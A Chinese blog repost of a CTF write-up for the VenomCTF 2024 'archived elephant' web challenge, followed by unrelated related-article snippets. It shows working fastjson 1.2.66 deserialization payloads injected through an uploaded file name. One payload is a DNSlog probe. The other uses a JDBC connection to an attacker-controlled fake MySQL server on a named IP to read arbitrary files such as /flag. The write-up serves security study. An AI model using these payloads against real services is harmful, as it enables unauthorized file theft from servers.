VCTF-archived elephant

news/发布时间2024/5/14 11:30:28

vctf-archived elephant

官方wp:Venom-WP/2024VenomCTF/2024_vctf_web_archived-elephant/writeup/readme.md at main · ChaMd5Team/Venom-WP · GitHub

一道0day题目,挺好玩的,赛后复现一下。

由于预期解官方写的已经非常详细了,这里就复现了一下非预期解:

利用

这个漏洞的触发点其实挺简单的:

在com.baidu.ueditor.define.BaseState#toString,主要逻辑就是对map进行遍历,把keyvalue进行处理最终制作成JSON字符串形式。 其中keyvalue+进行拼接,如果keyvalue可控的话可能会导致json注入问题

我们可以正常上传一个文件看看:

我们的文件名会被拼接进去,然后在venom.elephantcms.service.impl.UploadServiceImpl处调用了JSON.parseObject

在pom.xml中我们可以看到这里引用了fastjson1.2.66的依赖。

很明显,如果outJsonString我们可控的话,就可以触发fastjson的链子

那么正如上面所说,com.baidu.ueditor.define.BaseState#toString会对map遍历,而文件名是我们自定义的,那么很明确了,这里是可控的。

我们本地调试一下,传入形如gxngxngxn",{"@type":"java.net.Inet4Address","val":"z0finq.dnslog.cn"},"a":".jpg

成功逃出恶意属性,接收到dns请求:

好了,现在我们就可以想办法利用fastjosn了

官方方法是利用fastjson common-io任意文件写来覆盖.btl文件打模板注入

这里我复现利用fastjson mysql来实现任意文件读取

我们看pom.xml中可以看到:

参考这篇文章:FastJson1.68&1.80版本反序列化利用 - FreeBuf网络安全行业门户

我们可以在自己的vps上伪造一个mysql服务,然后利用fastjson+mysql通过jdbc连接我们的服务,实现任意文件读取

首先利用:

GitHub - fnmsd/MySQL_Fake_Server: MySQL Fake Server use to help MySQL Client File Reading and JDBC Client Java Deserialize

在自己vps上启服务后,构造如下paylaod:

gxngxngxn",{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"81.70.252.29","portToConnectTo":1234,"databaseToConnectTo":"test","info":{"@type":"java.util.Properties","PORT":"1234","allowUrlInLocalInfile":"true","allowLoadLocalInfile":"true","allowLoadLocalInfileInPath":"/","maxAllowedPacket":"655360","user":"fileread_/flag","PORT.1":"1234","HOST.1":"81.70.252.29","NUM_HOSTS":"1","HOST":"81.70.252.29","DBNAME":"test"},"a":".jpg

发送后成功读取到/flag文件:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ulsteruni.cn/article/68236820.html

如若内容造成侵权/违法违规/事实不符,请联系编程大学网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的人脸表情识别系统(附完整资源+PySide6界面+训练代码)

本篇博客呈现了一种基于深度学习的人脸表情识别系统,并详细展示了其实现代码。系统采纳了领先的YOLOv8算法,并与YOLOv7、YOLOv6、YOLOv5等早期版本进行了比较,展示了其在图像、视频、实时视频流及批量文件中识别人脸表情的高准确度。文章深入阐释了YOLOv8的工作机制,并配备…

Python教程:如何获取颜色的RGB值

简介 在许多计算机图形和图像处理应用中,颜色的RGB值是至关重要的信息。Python作为一种多功能的编程语言,提供了丰富的工具和库,可以轻松地获取颜色的RGB值。本文将介绍如何使用Python获取颜色的RGB值,以及一些实际应用的示例。 使用PIL工具获取颜色的RGB值 PIL(Python Im…

EFcore 连接mysql的一些坑。

好久不耍mysql了,EFcore连接的时候遇到了点问题,特此记录下来,防止以后又忘了。 第一个问题相当的奇葩,居然告诉我缺.NET core 2.0,,,无语,估计是依赖项里面引用了2.0,于是乎老老实实去官网下载安装。地址如下: https://dotnet.microsoft.com/zh-cn/download/dotnet/tha…

Advanced_Slides 的使用

Advanced_Slides 的使用 来源 https://www.cnblogs.com/liuzhongkun/p/17096534.html目录Advanced Slides 的使用一、 概述1、 简介 2、 特征 3、 第一个 PPT二、 基础语法1、 水平垂直幻灯片 2、 元素注释 3、 幻灯片注释 4、 块注解 5、 元素动画 6、 内联样式 7、 幻灯片背…

Python3 使用 sqlcipher 来增强本地数据的安全性

使用 sqlcipher 来增强本地数据的安全性 本文是基于 系列文章 PyQt5+SQLAlchemy做登录注册页 的补充,并不单独放在系列文中,主要讲的是,使用 sqlcipher 来保存本地密码,这比直接使用 SQLite 更安全 关于 sqlcipher,官方介绍原文如下: SQLCipher is a standalone fork of …

Docker 最常用的镜像命令和容器命令

目录一、帮助命令二、运行第一个容器:hello-world2.1 运行命令2.2 命令执行流程图三、镜像相关命令及其基本操作3.1 登录私有镜像仓库3.2 拉取镜像3.3 查看镜像基本信息3.3.1 docker images 命令查看镜像基本信息(一)、docker images命令常用选项 -a : 显示所有的镜像(包括…